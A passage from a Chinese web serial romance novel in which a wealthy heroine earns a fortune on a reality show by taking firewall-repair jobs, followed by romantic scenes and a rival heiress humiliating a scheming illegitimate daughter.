也有唱衰温栩栩的其他黑粉在弹幕嘲讽。 【黄莹莹都知道自己什么都做不了所以去当车模,连林老师都去发传单了,就只有温栩栩在这里摆烂等着好友带飞,我看啊,这个好友也是个装逼货。】 【笑死人了,就等着看这两人怎么丢脸吧】 弹幕飞速划过,有些学生学得就是这类的,陡然瞪大眼睛。 【我靠这界面,也不是大佬们经常混的论坛吗?会有各路资本公司在上面发帖寻求帮助,能今日这个论坛的人都是需要随机昨晚那几道论证大题的!温栩栩的好友就这么简单的进了论坛!】 【我靠!我靠她已经做了一个任务了!等会儿……那个任务是修补公司的防护墙,出价三百万高价……WTF她这就修好了?】 这个学生震惊到手都在发抖,弹幕看到她的发言都觉得她有病。 【胡说八道什么呢?修补什么防护墙给三百万啊,简直笑死人。】 【温栩栩粉丝为你家姐姐挽尊也要找个靠谱点的,这一听就是假的啊,现在吹牛等到节目组检查收获多少的死后丢人的还不是温栩栩吗?】 那学生有口难言,但许愿已经又完成了个任务,已经开始后面的任务了。 对旁人难到算不出真实数据的编码,许愿很快算出代码,对旁人来说高难度的任务到她这里来全都成了速通的简单模式。 临近中午,许愿停止敲击键盘。 “应该差不多了。”许愿看向身边的温栩栩:“这些钱应该够了。” 温栩栩看向许愿电脑上显示的银行卡上多出的一串数字,陷入了沉默。 他们参加综艺,赚的的资金最终是需要打到卡上的,节目组给每个人发了一张专门的银行卡,但温栩栩现在就看到许愿的卡上多了两千万。 三小时左右两千万什么概念呢? 温栩栩想不透,但她知道许愿就是最厉害的,此刻抱住许愿蹭了蹭。 “好棒。” 弹幕沉默。 弹幕震惊。 弹幕疯狂。 【你说多少!!】 【温栩栩跟她的好友就这几小时转了两千万?离谱了!谁信啊!】 【两千万哈哈哈编段子我都不敢编的啊,要不你俩给我一枪别在这里糊弄我了。】 【你俩把我们网友都当笑话了吗?不会真的以为我们会信吧?】 不说弹幕,节目组都傻了。 导演呆愣愣的看着那张银行卡上多出来的一串数字陷入了沉默。 他很想说点什么,但又有点说不出来。 知道许愿很厉害,但是到这程度是不是有点过于逆天了? 弹幕已经在逼问节目组到底怎么回事了。 导演捂脸,好半天才开口。 “温栩栩和许小姐没有作弊,他们确实是入账两千万,保真。” 第461章 她们在吃喝玩乐 就是保真!弹幕才会炸啊! 什么级别的人一上午接了几个任务拿这么一大笔钱,谁家钱这么好挣啊!他们努力一辈子也挣不到的钱她晒刷刷敲击电脑就有了?凭什么呢?衬得他们这群普通人更像傻瓜了。 【黑幕!】 【绝对黑幕!】 【把人当傻子玩呢!你就算是说一千块一万块我就算被糊弄了不说什么了,可是两千万啊!那是两千万啊!】 没人信,甚至觉得节目组在炒热度搞噱头。 导演苦不堪言。 谁炒作了,谁拿这个炒作啊。 人家许小姐身份摆在这里,人家谈的合作都是分分钟百八十万的,如果不是温栩栩你们都没有这个机会看到这尊大佛好吗! 弹幕还在疯狂刷屏说是黑幕的时候,微博上已经有大拿和网络红人为此发声。 【我靠,A大那位数据分析相关的教授发博了!】 一些懂这个的分分钟发博解释许愿这两千万是怎么来的。 第一个三百万是修补了一家企业的安全防御措施,因为这家企业曾被黑客攻击,许多资料被毁导致损失上亿,所以才高价请人修补漏洞。 第二个是一项研究需要的科研代码一直没能算出来,这项目已经耽搁了三个月,所以价格开的很高。 第三个项目又是修护防护墙…… 一一解释后,众人终于明白许愿那笔钱是哪里来的。 弹幕这次再度陷入沉默然后就是疯狂的发着感叹号。 感叹号都不足以诉说他们此刻内心的震惊了好吗! 【靠!到底是谁啊!这么牛!节目组是怎么把这么厉害的人物请来的!】 这话一出,导演也嘚瑟,是啊,多亏了温栩栩,不然他怎么可能请的来许愿。 弹幕分分刷屏,有人后知后觉在弹幕想到了最初导演介绍她时提到了“许愿。” 【我有个大胆的想法……】 【导演一开始说温栩栩的好友是谁来着……好像叫许愿吧。】 【据我所知,就是嗯,我所知道的姓许还厉害到这种程度的好像就是A市那位许愿吧。】 【如果……真的是那位许愿,那两千万好像不是不可能啊。】 【我先去搜一下那位的图。】 五分钟后那个说去搜图的同志回来了。 【我要静一静。】 自闭了。 网络上已经抛出许愿的照片和这次直播的视频对比,弹幕刷的更快了。 【妈的啊啊啊!真的是许愿!真的是那个让所有人都震惊的许愿啊!】 【没人告诉我她跟温栩栩是好朋友还这么直接的上了综艺!谁能想到啊!】 【你早说你是这么许愿谁会冤枉你作弊啊!那个许愿无所不能!】 【这是什么,许愿大佬,嘻嘻嘻,这是什么,许愿大佬,嘿嘿嘿……】 【笑死人啦,我一想到有温栩栩的黑粉说许愿是在装逼就想笑,你许总还用装逼吗?她本人站在这里就是资本,那群为了黑温栩栩嘲讽许总的敢不敢说你本家名字是谁?你看你的推你的哥哥姐姐们会不会直接滑跪道歉。】 那些此前辱骂过温栩栩和许愿的人默默的删除了自己的言论,不敢吱声。 呜呜,也没人说温栩栩是这个许愿的好友啊。 只不过是提到许愿,这群人就已经知道她的实力,屏幕全都是舔屏夸赞的,甚至还有当众求职的,应有尽有。 而节目的直播也直接上了热搜,越来越多的人涌进来。 许愿倒是毫不在意弹幕,温栩栩眼睛都好像发着光:“阿愿你好厉害!” 弹幕看着这一幕酸唧唧。 呜呜,她们也想抱着许总夸一句好厉害。 许愿轻笑:“有什么想吃的吗?吃过饭我们还能去酒店休息,不是昨晚很累吗?” 她还真是处处为温栩栩着想。 “想吃海鲜大餐。” “那走吧。” 许愿挑了下眉带着新到手的工资带温栩栩去了这附近最大的一家海鲜酒店,她甚至还给节目组的人也备上一份请了一份海鲜大餐。 节目组的员工热泪盈眶。 许总不愧是许总,大气。 吃过海鲜大餐,温栩栩戳戳许愿:“你说我们要不要去买点彩票,我觉得我们今天运气都超好的。” “哪里运气好了。”许愿问。 “你都来陪我参加节目了,那运气还不算好吗。”温栩栩理直气壮。 许愿也笑起来:“好,那就是买点彩票刮刮乐。” 【可恶,这是什么好嗑的姐妹情,陪你参加节目所以看到你就觉得自己运气超好,四舍五入就是告白了,呜呜,这两个女人真的好般配!】 【盛总,盛总你在看吗?你看她们两个是不是很般配,不如你退出让她们两个在一起?】 【盛总?呼叫盛总?滴滴!】 看到这一幕的黎云笙默默的给盛景炎发了条信息。 【黎云笙】:呵。 盛景炎:“……” 盛景炎默默的用自己的账号不停打赏,等到成了榜一才发了条五彩斑斓的流动弹幕。 【我的。】 这条弹幕的名字明明白白带着“盛”字,弹幕瞬间热闹起来,宛如一滴水进了高温的油锅。 对此许愿全然不知,她正陪着温栩栩买刮刮乐,一买买了好几本。 第一本,亏了五百块。 第二本,亏了四百块。 第三本,亏了六百块。 温栩栩满头问号,这不对啊,她运气怎么差成这样,她不服:“大概是因为我的好运气都用来遇到你了吧。” 一边生气一边说情话,弹幕要嗑昏了。 她说什么许愿都照单全收。 “亏了也没事,九牛一毛的小钱,剩下的钱足够我们挥霍了,有时间的话还能去趟拍卖会给你拍点小东西。” 温栩栩这才重新笑起来,继续挽着许愿的手摇晃,开心。 另一边。 一直嫉妒温栩栩的张家旭和其他的嘉宾汇合了,他当了一天的幼儿园老师,十分累人,但是因为表现的好还在幼儿园卖了很多小手工总共赚了五百块,而杨晓帆当了车模一天收入一千块,两人是一组一共收入一千五百块。 他内心十分得意,心道自己总该压温栩栩一头了。 “也不知道栩栩和她的朋友去找了什么工作,现在的钱真的不好挣啊,如果他们赚不多的话我们可以分一点给她们。” 弹幕一时无言。 【嗯……她们在吃喝玩乐哎。】 第462章 还想再挨一脚? 因为张家旭的话,弹幕一时陷入了沉默,似乎不知道要如何回应他。 等三组人汇合后,本来还在嚣张沾沾自喜的张家旭就看到了许愿和温栩栩那一包又一包的装备。 几个自己拼接的小机器人,一包又一包的物资,还有从安保公司雇佣了十名安保人员。 这一群人浩浩荡荡的站在这里,给人的视觉效果是十分震撼的。 别说张家旭了,就是弹幕都抓耳挠腮。 【啊,这是可以的吗?雇佣安保人员……也行?】 【节目组一开始也没说不能雇佣啊,只是雇佣这种安保人员价格太高了,所以谁也没有往这方面想,毕竟除了许愿谁还能这么短时间内拿到这么一笔天价资金的。】 【救命这荒岛游戏还怎么玩,才上岛就直接躺赢了。】 【你们忘记许愿自己拼接的那些机器人了吗……】 【人比人真的会气死人的。】 张家旭也看到那堆东西了,他唇角抽了抽。 “导演,还能带保镖一起参与录制的?” 难道就因为温栩栩咖位大? “林虎老师也没带保镖啊……” 意思是林虎都没带,凭什么温栩栩能带,是不是有黑幕。 他在这里阴阳怪气,弹幕却只想嘲笑他。 【他在这里意有所指暗示温栩栩耍大牌吗?小伙子心眼挺多啊,可惜这些保镖是他们亲眼看着许愿招揽的。】 导演组一时也有些无言。 好半晌才干笑一声:“张老师,这些都是温老师和许老师的物资。” 张家旭:“导演?” 别说张家旭,就是其它几位嘉宾也愣住了,人也能当物资? “许老师拿到了一笔丰厚的资金,只花费了部分,剩下的资金投资了我们节目……”导演继续笑。 所以说许愿就是会做人啊,花了一笔,剩下全部投资节目了,要不说许总能做大做强呢。 “她们到底干什么了能挣这么多!” 张家旭尖着嗓子喊了一声,他根本不敢相信这一切。 导演组一时捂脸,最初他们也不敢相信这一切啊。 “许老师登陆了一个网站,接了些任务,拿到了任务资金。” “到底是多少资金啊……还能投资我们节目呢?” 林虎也懵,录制这么多档节目就没遇到过这么离谱的事儿啊。 导演组摸了摸鼻子:“两千万吧。” “多少!” 这是几人异口同声同时开口的。 导演看他们这副大惊小怪的样子就爽多了,对嘛,这样的反应才对啊。 “也就两千万吧。” 林虎唇角抽动:“也就?导演你到底把什么大人物请来了……等会儿?许老师?许愿?” 林虎终于发现了不对劲的地方。 “难道是那位……A市盛世的许总?” “是那个许愿吗?” 导演嘿嘿一笑点头。 是这个许愿啊,那能赚到这笔钱就太正常了。 张家旭险些一头栽倒在地上。 他再蠢也知道这个许愿是谁了,也没人告诉他温栩栩背后有这么一尊大佛啊。 所以说他是差点惹了这么一尊大佛吗? 张家旭突然觉得毛骨悚然,庆幸自己没有真的对温栩栩做点什么,不然以后这圈子真就容不下他了。 接下来的录制果然是逆天的,许愿和温栩栩带着的“物资”到了荒岛,不提别的单是那十名安保人员就能守好物资并完虐其它两组,更不要说许愿随手设计组建的小机器人们也各有用处,有的可以去找水资源或者过滤海水,有的去找食物资源。 而温栩栩和许愿就美美的在岛上散心。 别人是来荒岛绝地求生的,她们是来旅游度假的。 好,实在是完美的对比。 节目录制结束,温栩栩几乎是被许愿带着躺赢的,一直等着看温栩栩好戏的张家旭早就被打脸了,根本不敢再针对温栩栩。 等节目彻底录制结束,张家旭想了又想还是暗搓搓跟上了许愿。 见张家旭跟着许愿,温栩栩只是挑了下眉有点疑惑,但还是给他机会私下跟许愿聊天沟通。 温栩栩先行一步。 “许老师,可以给我点时间吗。” 张家旭脸上挂着讨好的笑意。 “你想说什么。” 张家旭看着面前的女人,容颜迤逦的比圈内任何女星都要漂亮,且她的身份摆在这里,如果能讨好许愿,那以后的资源不知道要有多少了。 而且……和许愿一起,还是他赚了。 “许老师方便一起吃个饭吗。”张家旭眼里都是讨好之意,他将一张房卡递到许愿面前,笑意谄媚。 许愿:“……” 她这是被人自荐枕席了? 许愿险些被气笑了,正要拒绝,就听到身后传来一道沉冷的声音。 “她不方便。” 许愿顿了下,转身就看到坐在轮椅上的男人面容肃冷的看着这一幕。 是盛景炎。 许愿立刻笑起来,竟是根本不打算继续理会张家旭,小跑到盛景炎面前。 “阿炎你来接我的?” “不来接你怕是看不到这一出好戏。” 盛景炎嘲讽的是张家旭。 张家旭脸都红了,自荐枕席被人家未婚夫看到简直太丢脸了,张家旭忍不住逃走了。 盛景炎嗤笑:“也不照镜子看看自己什么样也敢来攀扯你。” 张家旭样貌只能说不错,只能算是娱乐圈小鲜肉的范畴,且身高就跟盛景炎差太多,许愿怎么也不会看上他。 “我也没答应他。”许愿俯身在男人耳边蹭了蹭:“你最好看,我也只愿意被你潜规则。” 她一句话就把男人逗笑了,握住她的手离开。 温栩栩低头看了眼时间,手机上已经收到队员的信息问她什么时候回来。 她边走边回信,前面的房间突然打开,她没注意被人抱住腰摁在墙上,病房的门也被结结实实的扣住。 “温栩栩,你可真是让我大开眼界。”男人双臂撑在她头两侧,将人圈在自己势力范围之内,眼睛却黏在她身上,视线逐渐向下移,眼眸里带着浓重的爱欲。 温栩栩看清来人一点也不着急,却是眼尾上挑,“黎云远你没被踹够?还想再挨一脚?” 第463章 这么乖啊 黎云远,黎家的私生子,最喜欢跟黎云笙争抢家产,黎云笙有的他就一定要抢。 自从温栩栩被黎云笙带回黎家,黎云远就不止一次的出现在温栩栩面前示好要勾搭她,上一次就猝不及防被温栩栩踹到要害,疼的去看男科。 见温栩栩抬脚要踹,条件反射的向后躲,惹得温栩栩嗤笑连连。 那日被温栩栩教训又被黎云笙的人套麻袋打断几根肋骨在医院里住到现在,这会儿直到温栩栩又参与录制节目才过来找存在感,不过看到温栩栩那真是胯下疼才好的肋骨也疼,但不得不说也带着那么点刺激。 他是赶巧了投资了这档节目来看一看,结果就看到了温栩栩。 黎云远呼吸有些乱,“温栩栩,你疼疼我,别总对我动粗,别看我个挺高,其实我特别脆弱。” 你脆弱个鬼,你就是个骚东西! 温栩栩内心翻了个白眼,却听黎云远装模作样演深情,“温栩栩,我真是越来越喜欢你了,你这样的配我正合适,我们凑一对得了。” 温栩栩讽他,“你以为什么人都配喜欢我?” “我希望你还记得在黎家老宅你对我说过的那些话。”温栩栩一把推开黎云远,“我这样一个不入流小家族出身的就想攀高枝的自然配不上你,收收你那颗骚动的心。” 黎云远被噎了一下给气笑了,“你讲讲道理?咱俩第一次见面到底是谁欺负谁?我就说了句你也配,后面可都是你自己自我贬低碍着我什么事儿。” 黎云笙带温栩栩回黎家老宅参加家宴,黎云远就跟个混不吝一样冲出来说她不配,温栩栩没少给他添堵。 温栩栩抱肩回他,“你也配三个字攻击力就足够了,它能涵盖后面我说的所有的话。”温栩栩懒得理他,“我还要回去没时间跟你耗着。” 她这就要走,黎云远好不容易见她一面,这抓心挠肺的哪肯这么轻易的放她走。 他无赖的抓住温栩栩手腕,温栩栩斜他一眼,“是我上次踹的你不够疼?” 黎云远这次倒是神情认真,仔细斟酌了会儿对她说,“温栩栩,你跟着黎云笙不会有好结果,你跟了我吧。” 温栩栩呵了一声压根不放心上拍开他的手扭头就走,手已经放到门把手上,黎云远急切开口,“黎云笙心里一直有人!你以为他为什么娶你?全因为你长得像她,难道你心甘情愿做她的影子!” 温栩栩停下脚步,黎云远以为自己说动了她,急忙道,“黎云笙喜欢的那位是黎云笙心里的白月光,她跟黎云笙青梅竹马一起长大,那么多年的感情你拿什么跟她比?” 温栩栩闲适的食指敲打了两下门把手,继而眉眼含笑的转过头去,“你是想得到我才告诉我这些真相吗。” 黎云远语气无比认真,“我是真的喜欢你。” 温栩栩低笑一声,她笑的妩媚又勾人,说出的话却像是一把刀子在人心口割着。 “你的喜欢……”她挑眉,“值几个钱。” “只要你跟了我,你想要的我都会尽量满足你,资源金钱我都能给你也绝不会把你当做谁的替身。”黎云远这样的浪荡子少有的严肃。 温栩栩笑起来,一针见血的戳破他的自信,“你才见过我几面就敢说喜欢我?你的喜欢就这么廉价?你以为这是喜欢?不,这不过是因为我的容貌让你对我产生了情欲,说到底你就是被下半身欲望支配的低等生物,你这样廉价的喜欢也配说出口。” “像你这样流连花丛的人,恐怕早说过千百次的喜欢了,夜店的舞娘你会喜欢,卖酒的小妹你会喜欢,身材好的模特你也会喜欢,如果把你的喜欢换算成金钱,要分成千百份,我得到的寥寥无几,所以你的喜欢根本不值钱。” 黎云远被怼的哑口无言,却觉得这样的温栩栩更是美的惊心动魄,连将他看做垃圾的眼神都是明艳的,让他更想掠夺。 温栩栩却不放过他,连开嘲讽,“你说你喜欢我,你会娶我吗。” 黎云远沉默。 这样的沉默就已经给了她答案。 温栩栩冷笑,“你的喜欢连张结婚证都抵不了,你不敢对我保证无非是你不能对自己终身大事做主,你要娶谁还要黎家长辈做主,你让我跟了你无非是让我当你的小情人,被你藏在暗处见不得光,你想养带刺的玫瑰却不肯让她见光,你觉得你的玫瑰能活几天。” “我嫁给黎云笙,我是他名正言顺的妻子,是板上钉钉的黎太太,跟你搅合到一起你当我是阴沟里的臭虫?” 温栩栩讥讽,“说什么你能给我想要的,我想要的你给得起?我一要名分二要资源三要靠山,名分你给不起,至于资源,你手中的资源比的过黎云笙的资源?而靠山……A市谁听了黎云笙的名头都知道是黎家掌舵者,你呢?黎云远,黎家的私生子,你不是黎家继承人又没有黎家的实权,你拿什么当我的靠山?” 温栩栩一字一顿,“你没有任何能比的过黎云笙的地方。” 黎云远失言,却也知温栩栩说的都是真的,他有些难堪的捂住脸,“可他把你当做替身……” 温栩栩轻笑一声,拽住黎云远的衣领迫使他低下头。 温栩栩道:“一个没名没分遭人唾骂人人喊打的小三,另一个是有名有份的豪门替身太太,我当然选择做那个替身。” 她笑着拍他的脸颊,笑容蛊惑,“你以为我为什么嫁给黎云笙?是因为爱吗?当然是因为他有权有势,至于他喜欢谁跟我有什么关系,哪怕他喜欢男人我也不在乎。” 这话黎云远是信的,他当然相信在温栩栩心里利益大于一切。 黎云远被他拍了拍脸此刻腿有点发软,手撑着墙有些许茫然,生理上的反应根本压制不住。 靠! 他可太喜欢温栩栩这样带毒的美人了!怎么能一颦一笑哪怕一句话都压在他审美线上! 黎云远没忍住抬手抚摸自己的脸,面皮却越来越热,他支支吾吾特别乖巧,“你出道的时候,我……我给你投票了,投了好多票。”讨好处似的。 温栩栩嘴角微微一弯,“这么乖啊。” 第464章 她是真能作妖 黎云远被她引诱似的点头,“要给我点好处吗。” 温栩栩像是有些无奈似的从包中取出一张公演舞台的签名照递给他,“你的报酬。” 黎云远有那么点不乐意,“我投了很多票,为你还特意充钱你就给我一张签名照打发我?” 温栩栩挑眉,“你要知道,就算没有你我一样会是C位。” 黎云远还是收了那张签名照。 温栩栩早已经走远了,他却还使劲儿搓着自己的脸。 温栩栩摸过的,啊啊啊她的手好软啊! 痴汉捧宝贝似的捧着那张签名照,他越来越觉得温栩栩跟他百搭,被温栩栩拒绝却是越挫越勇。 …… 温栩栩出来时就收到许愿已经离开的信息了,她本打算直接回公司安排的别墅,奈何黎云笙的助理亲自来接,她只能跟着回去。 回到两人的婚房,黎云笙正在看文件,她也不打扰他,兀自刷微博回应今天的节目问题。 温栩栩摆弄完微博这才瘫在沙发上伸了伸懒腰,双腿曲起窝在沙发上,怀里揉搓着抱枕,一打眼就瞥见黎云笙不知从哪儿又掏出烟盒和打火机。 温栩栩,“?” 打从真的嫁给黎云笙后,温栩栩就没让黎云笙抽烟了,现在看男人拿出根烟眉头忍不住皱了皱。 我不是都把他的烟扔了吗?这又是怎么变出来的? 这简直是赤裸裸的挑衅在向我开炮! 温栩栩撇撇嘴,眼神直勾勾盯着他——手里的烟。 男人吸了口烟,他神情放松,吐烟圈的姿态都十分的迷人,大家族培养出来的哪怕再不是个东西经过家族的日日熏陶骨子里都会散发出与常人不同的气质,更不用说作为黎家嫡子继承人的黎云笙。 仅仅抽烟都给人一种十分矜贵之感,倒真像天潢贵胄下凡亲临似的。 当然,如果手上没拿着那根烟,温栩栩觉得黎云笙整个人都能冒出一股仙气,说不定原地飞升都有可能,可这会儿愣是有一种他抽烟坏了三界准则的错觉。 呸,果然还是因为他长得好看,颜控可真糟心。 温栩栩盯着他,忍了忍,忍的去搓自己的耳朵,耳蜗都给搓红了也没能忍得住。 温栩栩说,“我念幼儿园大班时有个小朋友特别有个性。” 男人修长的手指夹着烟卷,他慵懒的靠着办公椅,目光却斜斜的自她脸上划过,很给面子的听她嘟囔。 温栩栩抱紧怀中的抱枕,膨胀的猫咪型抱枕被她搂进怀里跟放了气儿似的缩在她怀里。 温栩栩捏着猫咪抱枕的短耳朵继续招惹她祖宗,“老师跟他讲不能欺负其他小朋友,他偏要欺负别的小朋友,特别幼稚的小孩。” 听明白了吗祖宗,我在影射你,不让你抽烟偏抽烟,您几岁啊? 她黎祖宗掸了掸烟灰,心情很不错的回她:“你怎么知道我幼儿园大班欺负过不少小朋友?你跟我同班?” 温栩栩:“???”欺负就欺负了,怎么还用这么骄傲的语气说出来? 他骄傲的黎祖宗开口道:“你倒是没有跟我同班的可能。”他嗤笑,“小孩,你幼儿园……我都快念高中了。” 小孩……小孩……小孩?? 他距离温栩栩并不算远,有些浓郁的烟草味蔓延在她周身,却并不很难闻,在这烟草味中听到他隐含笑意的低沉嗓音喊着她“小孩”,明明只是简单的两个字,愣是给人一种撩拨人的错觉。 温栩栩满脑子都是那两个字,像是上上下下在脑内飘着加红加粗的弹幕,触目惊心的很。 温栩栩扶着腰攀坐在他腿上,特别蛮横的自他手中抽出那还剩半截的烟直接摁灭。 男人眸中引有火光,温栩栩娇软的哄他,“我都是你的小孩了,你还不宠宠我吗。” 温栩栩是真把黎云笙当合作伙伴当家人,虽然最开始各有目的,但这么几年了,也确实熟识了。 但这人就是……怎么说呢?一股脑的作,又是喝酒又是抽烟还有事没事儿整日熬夜不吃饭,跟奔修仙下一秒就撒手人寰似的。 温栩栩觉得再不管他不用黎家那群魑魅魍魉出手他能把自个作没,真是在作死的道路上开辟了条新道路。 她那张美艳动人的脸上挂了抹可怜的绯红,眼角耷拉下来,格外委屈,却也格外漂亮,总能轻易激起异性的蹂躏欲望。 他偏过头去嗓音略有哑意,“温栩栩,你是想死在床上?” 为什么又说这个!我明明就没有勾你啊! 正经说话干嘛这么燥! 温栩栩忍下心里那股想骂人的冲动,继续言笑晏晏,“云笙哥哥,你家小孩担心你身体,要不要我再给你科普抽烟对身体有多大害处?我手机里还存了十几二十篇的同类型论文,你要听吗?” 黎云笙内心更燥了,他右手指尖动了动,燥的更想抽烟。 温栩栩眼疾手快聪明无比的找来替代品。 她颠颠儿的去房间抱来一堆小零食,磨牙棒饼干,长条酸奶棒,各种口味的棒棒糖,琳琅满目堆满矮桌。 温栩栩大手一挥给他展示自己的小零食,“随身备着这些,想抽烟了就来一份。” 黎云笙眼神古怪的看那些小零食,稍稍想了下自己在开会或是办公的时候想抽烟取出酸奶条棒棒糖的画面,唇角抽搐,瞬间没有了抽烟的欲望。 事实证明温栩栩是真能作妖。 下午约好了跟合作方见面,他临时要参加一场A市资本方举办的商业拍卖会,没办法陪温栩栩一道,温栩栩也不放心上只觉得这样更自在些。 临到男人上车温栩栩还不忘往他车上塞满了小零食,衣兜里也塞了几根糖果。 塞就塞吧,反正他不吃。 男人这样想着全由着她了。 眼瞅着黎云笙要关上车门跟助理离开,温栩栩倚在车门边,笑的纨绔模样,“云笙哥哥,这就走了?不跟你家小孩道别吗。” 黎云笙挑眉意在询问,温栩栩却是凑上去跟男人接吻,唇舌交缠尝到她舌尖酸酸甜甜的水蜜桃清香,好像鼻息间都是这味道,清冽又甜腻的水果香,像是她的人一样,诱人咬一口剥皮吞吃入腹。 温栩栩额头抵着他的轻微喘息,“我是云笙哥哥的小妻子,要这样道别才对,记住没有。” 黎云笙拨弄着她因接吻而凌乱的发丝低低的嗯了一声。 第465章 地位差距 听到黎云笙的回应温栩栩这才从他口袋中取出一根水蜜桃味的棒棒糖随意扬了扬,“其实糖果的味道也不错吧。” 男人嘴巴里还都是水果糖的酸甜滋味,都是从她口中抢来的。 他还未回答,温栩栩像是觉得自己马上要跟男人分别,他一时半会儿也不能教训她,所以胆子极大不怕死的用手指捏住男人的下巴。 呀,皮肤真好,手感好棒,有点想捏,但她忍住了。 温栩栩笑眯眯捏着她男人的下巴以退为进说暧昧的情话,“要不要尝尝其他口味,下次见面要用你最喜欢的味道跟我接吻欢迎我呀。” 话音落下敏锐的感觉到男人眼神的变化,温栩栩笑的狐狸尾巴翘起来,干脆利落的关上车门在原地冲男人挥手,眼底尽是得意的狡黠。 小狐狸。 男人叹了口气。 然后助理眼睁睁透过后视镜看到他顶头上司,他黎总数着零食箱子里的糖果! 助理赶紧看前方,生怕再看下去小命不保。 …… 姜明珠到A市的消息早就传遍了,有人提到傅氏和盛世迟早要对上,有人提只有两方携手合作才能实现利益最大化,网络上的都是一群看热闹不嫌事儿大的,姜明珠完全不在乎。 此刻的姜明珠还在视察A市的各处环境,她名声太大,纵然戴着墨镜口罩还是被路人轻松认出来,但她已经退圈,为了不给他造成困扰都没有冲上去,只是拿着手机不停拍照。 保镖突然凑近开口:“小姐,有人跟踪。” 她冷淡的嗯了一声瞥了眼最近地方的饭店 ,保镖立刻会意开了间包厢。 姜明珠就端坐在沙发上,姿态闲散优雅兀自倒了杯桃汁,毫不在意自己被跟踪的事。 五分钟后包厢的门被打开,保镖将一个单薄瘦弱的女人丢到地上。 赫然就是方才一直跟着她的女人。 女人身上的衣服很低调,衣服都是黑色的,头上戴了一顶棒球帽,头发披散着也能遮住整张脸。 姜明珠只淡淡的瞥了眼,保镖就拽住她的头发逼着人抬起头,露出那张白净柔美的面容。 相貌五官是好的,只是眼底多了几分戾意,让面相都变得扭曲了。 姜明珠退圈后一直都忙于研究工作,没怎么得罪过人,对这样一张脸更是陌生。 她不开口,保镖却已经将资料都查好了,手机上都是她的资料还有照片,保镖恭敬的递过去。 “小姐,她是许家二小姐。” 许家二小姐?她没印象。 姜明珠眸色淡淡的翻阅着资料,只看到第一页,许家私生女这里眉心就跳了一跳。 作为大家族出身的千金,最厌恶的无非就是私生女私生子这种存在,多少家族都因为外面的情人自私害的整个家族遭难。 她目光幽暗的扫过地上的许宁,眼底的轻蔑却根本藏于藏也不藏。 继续翻阅才发现这位私生女果然让她对私生子女贪婪罪恶的刻板印象逐步加重。 设计陷害、勾引、用尽手段心机,什么手段下作用什么手段,名声都已经烂大街了,说是过街老鼠也不为过。 这样的人,怎么有胆量出现在她面前? 姜明珠翻看资料的动作都顿了顿,明明没有闻到什么异味却又觉得令人作呕。 她垂下眼睫扫过地上面部表情不自然的许宁。 那张脸其实是漂亮的,甚至带着时下男人最喜欢的柔弱感,可偏偏眼底却藏着狰狞的恶意,无法掩饰的恶意。 只一眼,她便对许宁没有任何好感。 这些资料已经没有看下去的必要了。 姜明珠将手机丢到保镖怀里。 “许宁,许家的私生女,一个名声坏透了人人喊打的人物,你来找我有什么事。” 她可不觉得自己跟这样的人能有什么交集,对她,姜明珠语气中连一丝尊重都没有,只余讥讽。 许宁脸色微微有点发白。 她望着坐在沙发上居高临下俯视自己的姜明珠。 两人之间距离这样近,但许宁就是知道她们之间隔着千万米。 一个高高在上,而她宛若蝼蚁。 “你来找我,总不会是为了对付许愿吧。” 姜明珠嗤笑。 许宁面上露出些许难堪之色,姜明珠拧眉:“竟然真的是为了许愿来的?” 资料上明明白白写清楚了许宁为了对付许愿做了多少无用功。 她实在不能理解这样的蠢人到底是什么思想。 明明自己就是只能陷在泥潭里苟延残喘求着傅京礼给予生存的臭虫,却还要拼尽全力去追去抢自己得不到的尊荣。 许愿在天,她就在地,连羽翼都没有,偏偏眼底却都是对许愿的恨意。 她以为把许愿拉下神坛许愿的东西就会成她的吗? 未免太过可笑。 “想说什么就直说,不要在这里浪费时间。” 许宁吞咽着口水,只觉自己面对姜明珠时才能明显感觉到自己的卑贱。 她隐忍片刻,握紧拳:“姜小姐,我知道你来A市是为了对付许愿。” “许愿是我的仇人也是姜小姐的仇人,仇人的仇人就是朋友,我一定能帮到姜小姐的!” 她说的义愤填膺,只是这话却让候在一旁的保镖都不由得多看她一眼,眼底也多了几分讽意。 姜明珠还是那副淡淡的模样,似乎什么都不放在心上。 她的桃汁喝完了,保镖又添了半杯,她指尖敲打着杯壁,目光看着杯内色泽莹润的果汁轻笑一声。 “首先,我来A市并不是为了对付许愿,其次……”她将杯子放到桌上,指尖在桌面轻轻动作敲击着,眼尾微微上挑:“当我的朋友?你配吗。” 她从出生就是天之骄女,她满月酒席最大领导人都到场庆祝送了礼物,她的名字更是代表姜家对她的极致宠爱。 从出生,她身边的人就已经分好了所谓的三六九等,能与她接触的都是最上层的人物,许宁这种人?她平日里是连看都不屑多看一眼的。 许宁被她这样轻蔑的语气震惊到身体都在颤抖。 她这才意识到两人之间所谓的地位差距。 第466章 许愿比她重要吗? “我知道你不喜欢许愿,我能为你做很多事!” “你不屑出手的,我都能做!” 许宁像是极力想要证明自己的价值一般开口叫嚷。 姜明珠更觉可笑,她喝了口桃汁压制住自己胸口涌上来的呕意缓缓开口:“既然你都说了有些事我不屑做,为什么还会认为我能跟你合作?” “你要知道,跟你这种出身卑微低贱的人合作才最让我不屑。” “出身卑微不可怕,可怕的是拥有肮脏的血液和污浊的灵魂,你整个人的血是脏的,灵魂是恶臭的,你只是靠近我就觉得空气都已经被污染了。” “所以首先我最不屑与你这种人合作。” “我就算要对付谁也会选择有格调的方法,而不是躲在阴暗面像是小人一样不敢见人。” 姜明珠偏头扫了眼桌上摆着的各类饮料,她不爱喝酒类,所以桌面上只摆了一瓶红酒,她看了眼,保镖就用开瓶器取出木塞,姜明珠倒了整整一杯红酒,然后对准还匍匐在地上恳求合作的许宁身上。 冰凉的液体浇了满头。 额头的刘海紧贴着脸,酒液的味道发酵弥漫在包厢内。 这是侮辱。 许宁浑身都在轻颤的发抖,手不由自主的握成拳,可她不敢像看许愿那样去看姜明珠。 因为她知道眼前的人身份地位不同,她不配。 姜明珠啧了一声,嗅着空气中的酒味儿。 “这样就好闻多了。” 果然是侮辱。 “许宁,记住你自己的身份。” “你的出生是错误,如果你像其他私生子女一样躲起来悄悄长大没人会揭穿你的身份,可你偏要一次又一次的舞到众人面前来。” “你只是个上不得台面的私生女,你是什么东西,你配跟我谈条件跟我合作吗?” “我来A市是为了谁,是不是因为许愿都轮不到你这种下作东西出现在我面前挑拨离间费尽口舌。” 她跟许愿如何,都不是许宁这种人能间接插进来的。 她还不是这么没品的人,能被许宁利用。 